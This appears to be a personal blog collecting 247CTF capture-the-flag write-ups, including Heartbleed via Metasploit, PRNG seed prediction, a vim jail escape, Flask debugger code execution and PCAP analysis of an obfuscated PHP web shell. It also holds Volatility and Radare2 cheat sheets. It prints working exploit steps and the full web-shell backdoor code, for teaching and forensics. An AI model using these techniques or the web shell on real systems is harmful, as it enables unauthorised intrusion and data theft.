Hello Navi

Tech, Security & Personal Notes

Decrypt an OpenSSL-encrypted file. The file was encrypted with openssl enc using a password.

Vulnerability

OpenSSL’s enc command uses EVP_BytesToKey for password derivation, which is relatively weak compared to modern key derivation functions. Common passwords can be cracked with a good wordlist.

Solution

Step 1: Identify the encryption

1
2
file encrypted_flag.enc
encrypted_flag.enc: openssl enc'd data with salted password

Step 2: Convert to crackable format

1
openssl2john encrypted_flag.enc > hash

Step 3: Crack the password

1
2
3
john hash --wordlist=rockyou.txt
john --show hash
encrypted_flag.enc:*7¡Vamos!

Step 4: Decrypt

1
openssl enc -d -aes-256-cbc -in encrypted_flag.enc -pass pass:"Vamos!" -out flag

Flag

247CTF{flag_content_here}

A webserver is storing sensitive data in memory. Exploit a known vulnerability to read it.

Vulnerability

Heartbleed (CVE-2014-0160) - A critical vulnerability in OpenSSL that allows reading server memory without authentication. The vulnerability exploits the TLS heartbeat mechanism to leak sensitive information including private keys, session tokens, user data, and flags.

Solution

Use Metasploit’s Heartbleed scanner module:

1
2
3
4
5
6
msfconsole
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326
...
msf auxiliary(scanner/ssl/openssl_heartbleed) > run

The module will dump server memory, which contains the flag.

Flag

247CTF{4ba37501598f5687d266a8d127c4badf}

Guess a random number to win the flag lottery. The server generates the winning number using a seeded PRNG.

Vulnerability

The server seeds the random number generator with the current Unix timestamp, which is predictable. Additionally, Python 2 and Python 3 have different PRNG implementations and string conversion behaviors.

Solution

The server code is vulnerable because:

  1. Predictable seed: Unix timestamp is public knowledge
  2. Time window: Even if time is slightly off, we can try nearby timestamps
  3. Version differences: Python 2’s str() truncates floats, making predictions consistent

Use Python 2 to generate predictions for timestamps around the server’s current time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess
import time
from pwn import *

host = "13721472f3c35e88.247ctf.com"
port = 50316
context.log_level = "error"

# Try timestamps within a ±10 second window
for offset in range(0, 10):
r = remote(host, port)
prompt = r.recvline()

target_time = int(time.time()) + offset

# Generate number using Python 2 seeding
cmd = ["python2", "get_legacy_random.py", str(target_time)]
payload = subprocess.check_output(cmd).decode().strip()

print(f"[*] Predicting for time {target_time} (offset +{offset}s): {payload}")

r.sendline(payload.encode())
response = r.recvall().decode()

if "247" in response:
print(f"[SUCCESS] {response.strip()}")
r.interactive()
break
else:
print(f"[-] Failed: {response.strip()}")
r.close()

Helper script (get_legacy_random.py):

1
2
3
4
5
6
7
import random
import sys

target_time = int(sys.argv[1])
secret = random.Random()
secret.seed(target_time)
print str(secret.random())

Key Insight

PRNGs seeded with time are not cryptographically secure. Use secrets or os.urandom() for security-sensitive randomness. Additionally, always be aware of version-specific differences in language implementations when predicting values.

Flag

247CTF{3c435fe8a89cb0c65fdfcf0089669808}

Escape a text editor jail and execute code to retrieve the flag.

Vulnerability

The web text editor uses vim commands. Vim’s :!command syntax can execute arbitrary shell commands, breaking out of the restricted environment.

Solution

Use vim’s command execution to escape the jail:

1
:!bash

This opens a bash shell where you can execute programs:

1
2
3
bash-4.3$ ls
run_for_flag
bash-4.3$ ./run_for_flag

Flag

247CTF{c69287be15653ac9ab47dcd3f2fcd8fa}

Challenge Description

1
2
3
Our web server was compromised again and we aren't really sure what the attacker was doing. Luckily, we only use HTTP and managed to capture network traffic during the attack! Can you figure out what the attacker was up to?

我们的网络服务器再次遭到入侵,我们不太清楚攻击者的具体意图。幸运的是,我们只使用HTTP协议,并且在攻击期间成功捕获了网络流量!你能看出攻击者的意图吗?

Tools Used: Wireshark, Scapy, Python3


1. Initial Traffic Discovery

We start by analyzing the PCAP file to identify interesting HTTP interactions. Using a simple Scapy script, we can filter for 200 OK responses to see what the server was returning.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
from scapy.all import *

PCAP_FILE = "web_shell.pcap"

packages = rdpcap(PCAP_FILE)
for i, p in enumerate(packages):
if p.haslayer(Raw):
raw = p[Raw].load
if b"200 OK" in raw:
try:
print(f"[*] Packet {i+1} | Length: {len(raw)}")
print(raw.decode())
print("-" * 20)
except:
continue

In the output, we notice a file upload form and a confirmation that owned.php was uploaded:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Packet 16640
HTTP/1.1 200 OK
...
<body>
<form enctype="multipart/form-data" action="uploader.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
</form>
</body>
</html>
The file owned.php has been uploaded

Checking the preceding packets (around index 16638), we find the content of the uploaded owned.php.


2. Analyzing the Malicious Web Shell

The uploaded file owned.php contains an obfuscated PHP script.

1
2
3
4
5
6
7
8
9
10
<?php
$d=str_replace('eq','','eqcreaeqteeq_fueqnceqtieqon');
$C='{[Z$o.=$t[Z{$i}^$k{$j};[Z}}return [Z$[Zo;}if (@preg_[Zmatc[Zh("[Z/$[Zkh(.+)$kf[Z/",@file[Z_ge[Z[Zt_conten[Zts("p[Z[Zh';
$q='Z[Z,$k){$c=strlen($k);$l=s[Ztrlen([Z$t);$[Z[Zo="";for[Z($i=0;$i<$[Zl;){for[Z($j=0[Z;($j<[Z[Z$c&&$i<$l[Z[Z);$j[Z++,$i++)';
$O='$k="8[Z1aeb[Ze1[Z8";$kh="775d[Z4[Zf83f4e0";[Z$kf=[Z"0120dd0bcc[Zc6[Z";$p="[ZkkqES1eCI[ZzoxyHXb[Z[Z";functio[Zn x[Z($t[';
$Z='[Zet_conte[Znts()[Z;@ob_end_clean();$r=[Z@b[Zase64_enco[Zde(@x([Z@gzco[Z[Z[Zmpress($o),$k));pri[Znt[Z("$[Zp$kh$r$kf");}';
$V='p://input"),$m)[Z==1) {@ob_[Zst[Zart();@e[Zval(@gzun[Zcom[Zpress(@x[Z(@base[Z64_de[Zc[Zode($m[1])[Z,$k)));$[Zo[Z=@ob_[Zg';
$v=str_replace('[Z','',$O.$q.$C.$V.$Z);
$W=$d('',$v);$W();
?>

By removing the noise (replacing [Z and eq), we can reconstruct the logic. It’s a sophisticated web shell (similar to Behinder or Godzilla) that uses XOR encryption and Zlib compression for C2 traffic.

Deobfuscated Logic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$k = "81aebe18"; // XOR Key
$kh = "775d4f83f4e0"; // Header Marker
$kf = "0120dd0bccc6"; // Footer Marker
$p = "kkqES1eCIzoxyHXb"; // Response Prefix

function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o .= $t{$i}^$k{$j};
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
// Decrypt: Base64 -> XOR -> Zlib Uncompress -> Eval
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
// Encrypt: Zlib Compress -> XOR -> Base64
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}

3. Decrypting C2 Traffic

Now that we have the key (81aebe18) and the protocol markers, we can decrypt the subsequent traffic. We notice the attacker is executing commands like ls and xxd to read a file named y_flag_here.txt one byte at a time.

Example of a decrypted request: chdir('/var/www/html/uploads');@error_reporting(0);@system('xxd -p -l1 -s31 ../y_flag_here.txt 2>&1');


4. Automated Flag Reconstruction

To get the full flag, we need to iterate through all packets, decrypt the requests to find the offset (-s parameter in xxd), and decrypt the responses to find the hex value of the character at that offset.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
"""
Scapy HTTP/Webshell Traffic Analyzer
------------------------------------
A specialized utility for extracting and decrypting payloads from PCAP files,
targeting traffic typical of PHP webshells (e.g., Behinder, AntSword).
Includes logic for XOR decryption, Zlib decompression, and flag assembly.
"""

import base64
import re
import urllib.parse
import zlib

from scapy.all import *

# --- Configuration & Constants ---
PCAP_FILE = "/home/kita/Downloads/web_shell.pcap"

# Cryptographic Keys (Typical for Behinder/Godzilla style webshells)
KEY = b"81aebe18"
KH = b"775d4f83f4e0" # Header marker
KF = b"0120dd0bccc6" # Footer marker
KP = b"kkqES1eCIzoxyHXb" # Response prefix

# Global state for flag extraction
flag_data = {} # Maps offset -> character
current_offset = -1

# --- Logic Functions ---


def decrypt_payload(b64_data):
"""
Decrypts a payload using the sequence: URL Decode -> Base64 -> XOR -> Zlib.
"""
try:
# 1. URL Decode
clean_data = urllib.parse.unquote_to_bytes(b64_data)

# 2. Fix Base64 padding if necessary
clean_data += b"=" * (-len(clean_data) % 4)
decoded = base64.b64decode(clean_data)

# 3. XOR Decryption
k_len = len(KEY)
xored = bytearray(a ^ KEY[i % k_len] for i, a in enumerate(decoded))

# 4. Zlib Decompression
return zlib.decompress(xored).decode("utf-8", errors="ignore")
except Exception as e:
return f"[!] Decryption Error: {e}"


def extract_flag_fragment(raw_text):
"""
Parses decrypted output to identify flag fragments extracted via 'xxd'.
Expects 'xxd -p -l1 -s[offset]' in request and 2-char hex in response.
"""
global current_offset
raw_text = raw_text.strip()
if not raw_text:
return

# Match Request: Extract offset from xxd command
if "xxd -p -l1 -s" in raw_text:
match = re.search(r"-s(\d+)", raw_text)
if match:
current_offset = int(match.group(1))

# Match Response: If we have an offset, convert hex response to char
elif current_offset != -1 and re.match(r"^[0-9a-fA-F]{2}$", raw_text):
try:
char = bytes.fromhex(raw_text).decode("utf-8")
flag_data[current_offset] = char
print(
f"[\033[92m+\033[0m] Fragment Found: Offset {current_offset:02} -> '{char}'"
)
except Exception as e:
print(f"[-] Decode error: {e}")
finally:
current_offset = -1


def process_pcap(packets, regex):
"""Iterates through packets, searching for encrypted payloads via regex."""
print(f"[*] Analyzing {len(packets)} packets...")

for i, p in enumerate(packets):
if p.haslayer(Raw):
raw_payload = p[Raw].load
match = re.search(regex, raw_payload)
if match:
decrypted = decrypt_payload(match.group(1))
print(f"[*] Packet {i + 1} matched.")
# print(f"Raw: {match.group(1)[:50]}...") # Debug
print(f"Decrypted: {decrypted}")

extract_flag_fragment(decrypted)
print("-" * 30)


def print_final_flag():
"""Sorts fragments by offset and prints the assembled flag."""
if not flag_data:
print("\n[-] No flag fragments found in the analyzed packets.")
return

sorted_chars = [flag_data[k] for k in sorted(flag_data.keys())]
final_flag = "".join(sorted_chars)

print("\n" + "=" * 40)
print("\033[93m[*] FINAL ASSEMBLED FLAG:\033[0m")
print(f"\033[96m{final_flag}\033[0m")
print("=" * 40 + "\n")


# --- Debug Utilities ---


def check_packet_by_content(packets, content):
"""Heuristic search for specific raw bytes in a PCAP."""
for i, p in enumerate(packets):
if p.haslayer(Raw) and content in p[Raw].load:
print(f"[*] Content found in Packet {i + 1}")
print(p[Raw].load.decode(errors="ignore"))


# --- Main Execution ---

if __name__ == "__main__":
try:
# Load necessary layers
load_layer("tls")

# Load PCAP
pkts = rdpcap(PCAP_FILE)

# Regex to capture content between specific webshell markers
payload_regex = KH + b"(.+?)" + KF

# Execute analysis
process_pcap(pkts, payload_regex)
print_final_flag()

except FileNotFoundError:
print(f"[-] Error: PCAP file not found at {PCAP_FILE}")
except Exception as e:
print(f"[-] Fatal error: {e}")

Result

Running the script assembles the flag from the fragmented xxd exfiltration.

Flag

247CTF{56485cc07ac3d0bf97b3022a2f97248c}

Find a bug and trigger an exception in a Flask web application to access the debug console.

Vulnerability

Flask debug mode with DebuggedApplication and evalex=True allows interactive code execution through the debugger console. The calculator endpoint accepts division operations and lacks proper exception handling.

Solution

Step 1: Trigger an Exception

Send a division by zero request to the calculator:

1
https://9894a61910fb83f2.247ctf.com/calculator?number_1=1&number_2=0&operation=%2f

Step 2: Execute Arbitrary Python

The debug console opens. Execute commands to read the flag:

1
2
>>> __import__('os').popen('cat ./flag.txt').read()
'247CTF{0e310979093ef6309adcbcb418145200}\n'

Key Insight

Never enable Flask debug mode in production. The Werkzeug debugger with evalex=True provides a complete interactive Python console, allowing arbitrary code execution with the web server’s privileges.

Flag

247CTF{0e310979093ef6309adcbcb418145200}

General Usage

Use -f to specify the memory image and -s for symbol directories if they are not in the default path.

1
2
3
4
5
6
7
# Basic syntax
vol -f <image> <plugin>

# Common flags
-f, --file <image> # Path to the memory dump
-s, --symbol-dirs <path> # Custom symbol tables directory (e.g., ~/ctf/symbolTables)
-o, --output-dir <path> # Directory to save dumped files

System Information

1
2
# Get basic OS information
vol -f image.vmem windows.info.Info

Processes & Activity

1
2
3
4
5
6
7
8
9
10
11
# List processes (EPROCESS list)
vol -f image.vmem windows.pslist.PsList

# Scan for hidden/terminated processes
vol -f image.vmem windows.psscan.PsScan

# Show process parent-child relationships
vol -f image.vmem windows.pstree.PsTree

# Show command line arguments for processes
vol -f image.vmem windows.cmdline.CmdLine

Network

1
2
# Scan for network connections and listening ports
vol -f image.vmem windows.netscan.NetScan

Files & Memory Dumping

1
2
3
4
5
6
7
8
9
10
11
12
# Scan for file objects in memory
vol -f image.vmem windows.filescan.FileScan | grep "filename"

# Dump files using various filters
vol -f image.vmem -o ./ windows.dumpfiles.DumpFiles --pid <PID>
vol -f image.vmem -o ./ windows.dumpfiles.DumpFiles --virtaddr <OFFSET>

# Dump process memory map
vol -f image.vmem -o ./ windows.memmap.Memmap --pid <PID> --dump

# Scan Master File Table (MFT)
vol -f image.vmem windows.mftscan.MFTScan

Useful Tips

1
2
3
4
5
# Combine with grep for quick searching
vol -f image.vmem windows.filescan.FileScan | grep -i "flag"

# Specify custom symbol path if needed
vol -s ~/ctf/symbolTables -f image.vmem windows.info.Info

trytodecrypt

abcdefghijklmnopqrstuvwxyz

easy Text 1

131017171A48221A1D170F

i just guess and test helloworld, get 131017171A221A1D170F

obviously, we need a space

hello world

easy Text 2

4A3E374A4973483F3D3E4A

test abcdefghijklmnopqrstuvwxyz

get 3738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F50

z = 122 P = 80 from hex 789:;<=>?@ABCDEFGHIJKLMNOP obviously offset in ascii table is 42

A concise guide to common operations and tools within the Radare2 framework.


rax2 - Base Conversion

Used for converting between various numerical bases and formats.

Command Line

1
2
3
rax2 0x28       # Hex to decimal
rax2 40 # Decimal to hex
rax2 -h # Show help

Internal (within r2)

Use the ? command to evaluate expressions or convert values.

1
2
[0x00000000]> ? 0x28     # Convert 0x28 to all formats
[0x00000000]> ? 3+4 # Evaluate basic math

rabin2 - Binary Information

Extracts information from executable files (imports, exports, strings, etc.).

Common Commands

1
2
3
4
5
rabin2 -I file  # General binary info (arch, OS, bits, etc.)
rabin2 -z file # List strings in data sections
rabin2 -zz file # List strings in the entire binary
rabin2 -i file # List imports (linked libraries/functions)
rabin2 -e file # List entry points

radare2 (r2) - Core Interactive Tool

The main interface for disassembly, analysis, and debugging.

Startup

1
2
3
r2 -A file      # Open file and run analysis (aaa)
r2 -w file # Open file in write mode
r2 file # Open without any analysis

Information (i)

1
2
3
4
5
i               # Show information about current file
ii # Show information about current function
is # Show information about current symbol
iz # Show information about strings in data sections
iE # Show information about exports(global symbols)
1
2
3
s 0x400500      # Seek to specific address
s main # Seek to 'main' symbol
s - # Seek back to previous location

Analysis (a)

1
2
3
aa              # Basic analysis
aaa # Full analysis (including functions and symbols)
afl # List all analyzed functions

Disassembly & Printing (p)

1
2
3
4
5
pdf             # Print Disassembly of current Function
pdf @ main # Print Disassembly of specific function
pd 10 # Print 10 lines of Disassembly
pD 32 # Print 32 bytes of Disassembly
px 64 # Print 64 bytes of Hexdump

Writing (w)

Note: Requires opening r2 with -w.

1
2
wx 909090       # Write hex bytes (NOPs)
wa nop # Assemble and write a single instruction

Visual Modes (v, V)

1
2
3
4
5
6
7
v               # Open visual panels
V # Enter visual mode
VV # Enter visual graph mode
v test # Load saved layout 'test'
v= test # Save current layout as 'test'
p & P # Switch view
u & U # Undo and Redo seek

rasm2 - Assembler & Disassembler

Quickly assemble or disassemble instructions.

Usage

1
2
3
4
5
# Assemble an instruction (x86, 64-bit)
rasm2 -a x86 -b 64 "nop"

# Disassemble hex code (machine code)
rasm2 -a x86 -b 64 -d "90"

Useful Shortcuts (Internal)

  • ? - Show general help
  • V - Enter visual mode
  • VV - Enter visual graph mode
  • q - Exit current mode or r2